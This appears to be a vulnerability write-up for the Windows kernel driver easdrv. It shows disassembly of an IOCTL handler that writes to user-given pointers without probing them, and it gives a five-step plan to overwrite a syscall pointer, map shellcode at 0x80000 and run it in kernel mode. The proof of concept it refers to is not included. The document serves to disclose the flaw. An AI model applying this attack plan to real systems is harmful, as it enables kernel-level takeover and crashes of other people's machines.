.text:00012B92 loc_12B92:                             
.text:00012B92                 push    [ebp+InputBuf]
.text:00012B95                 call    ds:off_1A200[eax]
.text:00012B9B                 mov     ecx, [ebp+OutputBuffer]
.text:00012B9E                 mov     [ecx], eax

Although this piece of code is wrapped with exception handler, 
input and output pointers are not checked with ProbeForRead/Write.
This will cause BSOD when input/output will point to kernel mode
memory (above 0x80000000). 

This code can be reached by sending IoControlCode = 0x222003 to 
device \\.\\easdrv (see POC). In order to exploit this, we need
to take a look at 

.text:00012B95                 call    ds:off_1A200[eax]

off_1A200 is:

.rdata:0001A200 off_1A200       dd offset HookNtClose
.rdata:0001A204                 dd offset sub_12838
.rdata:0001A208                 dd offset sub_12874
.rdata:0001A20C                 dd offset sub_128A8
.rdata:0001A210                 dd offset sub_128E4
.rdata:0001A214                 dd offset sub_1290A
.rdata:0001A218                 dd offset sub_1292C
	.
	.
	.

These are wrappers for hooked syscalls. First one is NtClose, so
there aren't many possible values that this API returns in eax. 
We will use:

C0000008	STATUS_INVALID_HANDLE	An invalid HANDLE was specified.

Because it's the simplest status to get. 

Attack scenario:

1. Get address of some rarely used syscall, like NtShutdownSystem.
   I will refer to this address as X :p
2. Send signal to easdrv, with output buffer = X-1. This will result
   in overwriting two highest bytes with zeros and will damage 1 byte
   at X-1 :p.
3. Send signal with output buffer = X+2. This will set two lower bytes
   to 0x0800.
4. Allocate memory at 0x80000 and copy shellcode there
5. Call NtShutdownSystem to jump to shellcode in r0 mode.

See POC for details. There is no cleanup, you will get BSOD at address 
0x80000 :).

It's possible to get required addresses by downloading symbols for 
given kernel build or use technique presented in [1]. In POC code this
address is hardcoded.
